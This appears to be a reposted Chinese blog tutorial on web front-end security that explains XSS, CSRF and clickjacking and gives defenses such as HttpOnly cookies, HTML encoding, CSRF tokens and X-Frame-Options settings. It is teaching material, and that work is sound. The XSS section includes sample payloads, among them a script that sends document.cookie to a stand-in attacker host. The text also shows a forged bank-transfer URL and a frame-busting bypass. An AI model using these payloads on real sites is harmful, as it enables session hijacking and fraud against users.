前端安全知识

作者: 三毛丶 | 来源:发表于2017-10-11 20:05 被阅读82次

    原文连接 https://jkchao.cn/article/59de0283c52d5a4ba98b1f0d

    XSS

    xss: 跨站脚本攻击(Cross Site Scripting)是最常见和基本的攻击 WEB 网站方法,攻击者通过注入非法的 html 标签或者 javascript 代码,从而当用户浏览该网页时,控制用户浏览器。

    xss 主要分为三类:

    • DOM xss :

      DOM即文本对象模型,DOM通常代表在html、xhtml和xml中的对象,使用DOM可以允许程序和脚本动态的访问和更新文档的内容、结构和样式。它不需要服务器解析响应的直接参与,触发XSS靠的是浏览器端的DOM解析,可以认为完全是客户端的事情。

    • 反射型 xss :

      反射型XSS也被称为非持久性XSS,是现在最容易出现的一种XSS漏洞。发出请求时,XSS代码出现在URL中,最后输入提交到服务器,服务器解析后在响应内容中出现这段XSS代码,最后浏览器解析执行。

    • 存储型 xss :

      存储型XSS又被称为持久性XSS,它是最危险的一种跨站脚本,相比反射型XSS和DOM型XSS具有更高的隐蔽性,所以危害更大,因为它不需要用户手动触发。 允许用户存储数据的web程序都可能存在存储型XSS漏洞,当攻击者提交一段XSS代码后,被服务器端接收并存储,当所有浏览者访问某个页面时都会被XSS,其中最典型的例子就是留言板。

    跨站脚本攻击可能造成以下影响:

    • 利用虚假输入表单骗取用户个人信息。

    • 利用脚本窃取用户的 Cookie 值,被害者在不知情的情况下,帮助攻击者发送恶意请求。

    • 显示伪造的文章或图片。

    存储型 xss 案例

    在项目开发中,评论是个常见的功能,如果直接把评论的内容保存到数据库,那么显示的时候就可能被攻击。

    • 如果你只是想试试 xss,可以这样:

      <font size="100" color="red">试试水</font>
      
      
    • 如果带点恶意,可以这样:

      <script>
          while (true) {
              alert('Hello')
          }
      </script>
      

      这时,网站就挂了。

    • 当然,最常见 xss 攻击是读取 Cookie:

      <script>
          alert(document.cookie)
      </script>
      

      Cookie 发送给攻击者的站点:

      var img = document.createElement('img')
      img.src='http://www.xss.com?cookie=' + document.cookie
      img.style.display='none'
      document.getElementsByTagName('body')[0].appendChild(img)
      

      当前用户的登录凭证存储于服务器的 session 中,而在浏览器中是以 cookie 的形式存储的。如果攻击者能获取到用户登录凭证的 Cookie,甚至可以绕开登录流程,直接设置这个 Cookie 值,来访问用户的账号。

    防御

    按理说,只要有输入数据的地方,就可能存在 XSS 危险。

    • httpOnly: 在 cookie 中设置 HttpOnly 属性后,js脚本将无法读取到 cookie 信息。

      // koa
      ctx.cookies.set(name, value, {
          httpOnly: true // 默认为 true
      })
      
    • 过滤

      • 输入检查,一般是用于对于输入格式的检查,例如:邮箱,电话号码,用户名,密码……等,按照规定的格式输入。

        不仅仅是前端负责,后端也要做相同的过滤检查。

        因为攻击者完全可以绕过正常的输入流程,直接利用相关接口向服务器发送设置。

      • HtmlEncode
        某些情况下,不能对用户数据进行严格过滤,需要对标签进行转换

        当用户输入<script>window.location.href=”http://www.baidu.com”;</script>, 最终保存结果为 <script>window.location.href="http://www.baidu.com"</script>, 在展现时,浏览器会对这些字符转换成文本内容,而不是一段可以执行的代码。

    • JavaScriptEncode
      对下列字符加上反斜杠

      关于更多 HtmlEncode 和 JavaScriptEncode,请参考 http://www.cnblogs.com/lovesong/p/5211667.html

    CSRF

    csrf:跨站点请求伪造(Cross-Site Request Forgeries),也被称为 one-click attack 或者 session riding。冒充用户发起请求(在用户不知情的情况下), 完成一些违背用户意愿的事情(如修改用户信息,删初评论等)。

    可能会造成以下影响:

    • 利用已通过认证的用户权限更新设定信息等;

    • 利用已通过认证的用户权限购买商品;

    • 利用已通过的用户权限在留言板上发表言论。

    一张图了解原理:

    简而言之:网站过分相信用户。

    与 xss 区别

    • 通常来说 CSRF 是由 XSS 实现的,CSRF 时常也被称为 XSRF(CSRF 实现的方式还可以是直接通过命令行发起请求等)。

    • 本质上讲,XSS 是代码注入问题,CSRF 是 HTTP 问题。XSS 是内容没有过滤导致浏览器将攻击者的输入当代码执行。CSRF 则是因为浏览器在发送 HTTP 请求时候自动带上 cookie,而一般网站的 session 都存在 cookie里面。

    • 来自某乎的一个栗子:

    案例

    比如某网站的转账操作

    受害者张三给李四转账100,

    通过对银行的网站发起请求 http://bank.example/transfer?accout=张三&to=李四&money=100 ,

    通常情况下,该请求发出后,服务器端会检查 session 是否合法,并且张三已经登录成功,

    黑客王五可以自己给银行发送一个请求 http://bank.example/transfer?accout=张三&to=王五&money=1000 ,但是这个请求来自王五,而不是张三,他并不能通过安全认证。他需要张三的 session 。

    王五自己做了一个网站,放入如下代码 http://bank.example/transfer?accout=张三&to=王五&money=1000 ,
    用各种方式诱使张三点击自己的网站。

    张三登录了银行的网站没有退出,访问了黑客王五的网站,上述的 url 就会向银行发起请求。

    如果session没有过期,这时悲剧就发生了,张三的账户里少了1000。

    防御

    • 验证码;强制用户必须与应用进行交互,才能完成最终请求。此种方式能很好的遏制 csrf,但是用户体验比较差。

    • 尽量使用 post ,限制 get 使用;上一个例子可见,get 太容易被拿来做 csrf 攻击,但是 post 也并不是万无一失,攻击者只需要构造一个form就可以。

    • Referer check;请求来源限制,此种方法成本最低,但是并不能保证 100% 有效,因为服务器并不是什么时候都能取到 Referer,而且低版本的浏览器存在伪造 Referer 的风险。

    • token;token 验证的 CSRF 防御机制是公认最合适的方案。

      整体思路如下:

      • 第一步:后端随机产生一个 token,把这个token 保存到 session 状态中;同时后端把这个token 交给前端页面;

      • 第二步:前端页面提交请求时,把 token 加入到请求数据或者头信息中,一起传给后端;

      • 后端验证前端传来的 token 与 session 是否一致,一致则合法,否则是非法请求。

      若网站同时存在 XSS 漏洞的时候,这个方法也是空谈。

    Clickjacking

    Clickjacking: 点击劫持,是指利用透明的按钮或连接做成陷阱,覆盖在 Web 页面之上。然后诱使用户在不知情的情况下,点击那个连接访问内容的一种攻击手段。这种行为又称为界面伪装(UI Redressing) 。

    大概有两种方式:

    • 攻击者使用一个透明 iframe,覆盖在一个网页上,然后诱使用户在该页面上进行操作,此时用户将在不知情的情况下点击透明的 iframe 页面;

    • 攻击者使用一张图片覆盖在网页,遮挡网页原有的位置含义。

    案例

    一张图了解

    一般步骤

    • 黑客创建一个网页利用 iframe 包含目标网站;

    • 隐藏目标网站,使用户无法无法察觉到目标网站存在;

    • 构造网页,诱变用户点击特点按钮

    • 用户在不知情的情况下点击按钮,触发执行恶意网页的命令。

    防御

    • X-FRAME-OPTIONS;

      X-FRAME-OPTIONS HTTP 响应头是用来给浏览器指示允许一个页面可否在<frame>, <iframe> 或者 <object> 中展现的标记。网站可以使用此功能,来确保自己网站内容没有被嵌到别人的网站中去,也从而避免点击劫持的攻击。

      有三个值:

      • DENY:表示页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许。

      • SAMEORIGIN:表示该页面可以在相同域名页面的 frame 中展示。

      • ALLOW-FROM url:表示该页面可以在指定来源的 frame 中展示。

    配置 X-FRAME-OPTIONS:

    - Apache 
    
    把下面这行添加到 'site' 的配置中:
    
    ```
    Header always append X-Frame-Options SAMEORIGIN
    ```
    
    - nginx
    
    把下面这行添加到 'http', 'server' 或者 'location',配置中
    
    ```
    add_header X-Frame-Options SAMEORIGIN;
    ```
    
    - IIS
    
    添加下面配置到 Web.config 文件中
    
    ```
        <system.webServer>
      ...
    
      <httpProtocol>
        <customHeaders>
          <add name="X-Frame-Options" value="SAMEORIGIN" />
        </customHeaders>
      </httpProtocol>
    
      ...
    </system.webServer>
    
    ```
    
    • js 判断顶层窗口跳转,可轻易破解,意义不大;
    function locationTop(){
         if (top.location != self.location) {
            top.location = self.location; return false;
         }
         return true; 
        }
    locationTop();
    
    // 破解:
    // 顶层窗口中放入代码
    var location = document.location;
    //或者
    var location = "";
    

    相关文章

      网友评论

        本文标题:前端安全知识

        本文链接:https://www.haomeiwen.com/subject/pphgyxtx.html